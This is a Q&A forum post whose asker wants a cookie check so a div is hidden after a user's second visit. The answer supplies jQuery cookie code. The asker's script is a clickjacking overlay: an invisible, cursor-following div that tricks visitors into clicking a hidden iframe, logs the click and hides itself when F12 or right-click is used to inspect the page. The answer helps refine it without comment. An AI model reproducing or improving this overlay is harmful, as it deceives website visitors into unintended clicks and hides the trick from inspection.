How to hide div with cookies after a second user visit

0

Hello friends, I have already searched a lot and I did not think how to do it, thanks for the help right away.

I want to hide a div with cookies after a second user visit

Follow my code:

jQuery(document).mousemove(function(e){
    if( document.activeElement && document.activeElement.tagName == 'IFRAME' ){
	jQuery.post(window.location.href, {click: 1});
	document.getElementById('mime').remove();
    }
});
 




jQuery(document).bind("contextmenu",function(e){jQuery("#mime").remove();});
    document.onkeypress = function (event) {
        event = (event || window.event);
        if (event.keyCode == 123) {
            jQuery("#mime").hide();

            return false;
        }
    }
    document.onmousedown = function (event) {
        event = (event || window.event);
        if (event.keyCode == 123) {
            jQuery("#mime").hide();
         
            return false;
        }
    }
document.onkeydown = function (event) {
        event = (event || window.event);
        if (event.keyCode == 123) {
            jQuery("#mime").hide();
            
            return false;
        }
    }
<div id="mime" style="position:absolute; z-index:99999999999999; opacity:0.0; filter: alpha(opacity=0) ">
<script type='text/javascript'>
habilita=true;
if(document.all){}
          else document.captureEvents(Event.MOUSEMOVE);document.onmousemove=mouse;function mouse(e)
          {if(navigator.appName="Netscape"){xcurs=e.pageX;ycurs=e.pageY;}else{xcurs=event.clientX;ycurs=event.clientY;}
         if(habilita){ document.getElementById("mime").style.left=(xcurs-230)+"px";document.getElementById("mime").style.top=(ycurs-150)+"px";}}
</script>



</div>
    
asked by anonymous 17.04.2016 / 16:29

1 answer

0

It is necessary to set the cookie on the user's first visit, which can be done by jquery like this:

// O parâmetro de expiração é setado em dias, e ele não é obrigatório.
$.cookie("visited", 1, { expires: 5 } );

In the next few times he accesses his website, it is necessary to check if the cookie exists on the user's machine and then hide the div with jquery:

if($.cookie("visited")) {
    $("div#mime").hide();
}
    
19.04.2016 / 10:03